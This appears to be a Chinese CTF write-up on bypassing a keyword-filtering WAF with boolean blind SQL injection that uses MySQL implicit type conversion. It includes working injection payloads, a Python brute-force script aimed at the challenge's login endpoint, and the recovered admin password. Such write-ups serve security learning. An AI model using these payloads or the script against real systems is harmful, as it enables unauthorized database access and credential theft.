今天做的一道ctf题,要求绕过waf去注入,可以通过mysql隐式类型转换的特性去绕过waf,在这里记录下来供大家学习一下
题目地址:题目地址(比赛结束后可能会失效)
HINT:我都过滤了,看你怎么绕。记住是mysql
打开后看到是一个登陆框

结合题目提示猜测是去绕WAF注入,首先测试了一下,发现当用户名正确而密码错误时会返回password error,当用户名错误时会返回username error的错误,于是猜测可能存在盲注。
测试了一下,发现大概过滤了以下关键字#、,、union、--+、and、or、|、%26(&的url编码)简单来说,就是不能使用and,or等关键字进行逻辑判断去盲注,同样不能使用注释符去注释后面的语句。谷歌了一下相关的资料,发现这种情况可以利用mysql的隐式类型转换去绕过,类似于php的弱类型。所谓的隐式类型转换,简单来说,就是对mysql的字符类型进行一些加、减、取余等数字操作运算时,又或者是将字符类型与数字类型进行比较时,会将字符类型转为数字类型,比如mysql> select '45abcd'-'abc';
+----------------+
| '45abcd'-'abc' |
+----------------+
| 45 |
+----------------+
1 row in set, 2 warnings (0.02 sec)在这里将字符串45abcd转为了数字45,将字符串abc转为了数字0 于是可以得出不是以数字开头的字符串在进行隐式类型转换时都会转为数字0
再看mysql> select 'aaa'=0;
+---------+
| 'aaa'=0 |
+---------+
| 1 |
+---------+
1 row in set, 1 warning (0.00 sec)在这里将字符串aaa与数字0进行比较时将字符串aaa转为了数字0
再看以下语句mysql> select * from users where username=0;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)可以看到where username=0时会将数据表中所有数据类型查出来,因为username在数据库中的存储类型为varchar类型,也就是字符串类型,在进行比较时会将这些字符串类型全转为数字类型,所以不以数字开头的字符串都会被转成0,从而查询出所有结果
再看mysql> select * from users where username=''-'';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)可以看出当where username=''-''时会进行隐式类型转换,运算结果相当于where username=0,会返回所有结果
如果将中间的0变为1,相当于where username=-1,由于数据库里没有以-1开头的字符串,就会返回空mysql> select * from users where username=''-'';
Empty set (0.00 sec)由此可以看出我们是可以在中间这个位置进行逻辑判断去盲注的
知道了这些后来返回题目看这道题,构造payload:
uname='-'&passwd=123456
这里用户名有查询结果,所以会返回password error

构造payload:
uname='-'&passwd=123456
而这里用户名没有查询结果,所以会返回username error的错误

按照这个思路,可以进行逻辑判断进行盲注,构造payload猜出数据库中passwd字段的长度uname='-(length(passwd)=passwd的长度)-'&passwd=123456当(length(passwd)=passwd的长度)为真时结果为1,也就是查不出用户名,会返回username error,为假时结果为0,会返回查询结果但是密码错误,也就会返回password error


通过这种方式可以判断出用户表中有一个长度为32字节的passwd字段
同样的可以通过这种方式判断出passwd字段中的值,用python写一个脚本即可,贴出我的代码import requests
url="http://118.190.152.202:8019/login.php"
passwd=""
for i in range(1,33):
for j in range(1,256):
data={
'uname':"'-(ascii(mid((passwd)from(%d)))=%d)-'"%(i,j),
'passwd':'admin'
}
html=requests.post(url,data=data).content
if "username error!!" in html:
passwd=passwd+chr(j)
print passwd
break为了更好的理解脚本,可以看看以下我测试时写的查询语句mysql> select mid((password)from(1)) from users;
+------------------------+
| mid((password)from(1)) |
+------------------------+
| Dumb |
| I-kill-you |
| p@ssword |
| crappy |
| stupidity |
| genious |
| mob!le |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dumbo |
| admin4 |
+------------------------+
13 rows in set (0.00 sec)
mysql> select mid((password)from(2)) from users;
+------------------------+
| mid((password)from(2)) |
+------------------------+
| umb |
| -kill-you |
| @ssword |
| rappy |
| tupidity |
| enious |
| ob!le |
| dmin |
| dmin1 |
| dmin2 |
| dmin3 |
| umbo |
| dmin4 |
+------------------------+
13 rows in set (0.00 sec)
mysql> select ascii(mid((password)from(1))) from users;
+-------------------------------+
| ascii(mid((password)from(1))) |
+-------------------------------+
| 68 |
| 73 |
| 112 |
| 99 |
| 115 |
| 103 |
| 109 |
| 97 |
| 97 |
| 97 |
| 97 |
| 100 |
| 97 |
+-------------------------------+
13 rows in set (0.00 sec)
mysql> select ascii(mid((password)from(2))) from users;
+-------------------------------+
| ascii(mid((password)from(2))) |
+-------------------------------+
| 117 |
| 45 |
| 64 |
| 114 |
| 116 |
| 101 |
| 111 |
| 100 |
| 100 |
| 100 |
| 100 |
| 117 |
| 100 |
+-------------------------------+
13 rows in set (0.00 sec)
mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=117)-'b';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
+----+----------+------------+
11 rows in set, 26 warnings (0.00 sec)
mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=118)-'b';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set, 26 warnings (0.00 sec)最后跑出密码

MD5在线解密一下

nishishabi1438用户名admin,密码nishishabi1438,登陆成功

本文介绍了如何通过MySQL的隐式类型转换特性来绕过WAF进行SQL注入。在CTF比赛中,面对过滤了特定关键字的WAF,作者通过测试发现可以利用字符串到数字的转换进行逻辑判断。通过构造特定的payload,如`uname='-(length(passwd)=passwd的长度)-'&passwd=123456`,成功判断出数据库中passwd字段的长度和值,最终解密出密码。
318

被折叠的 条评论
为什么被折叠?



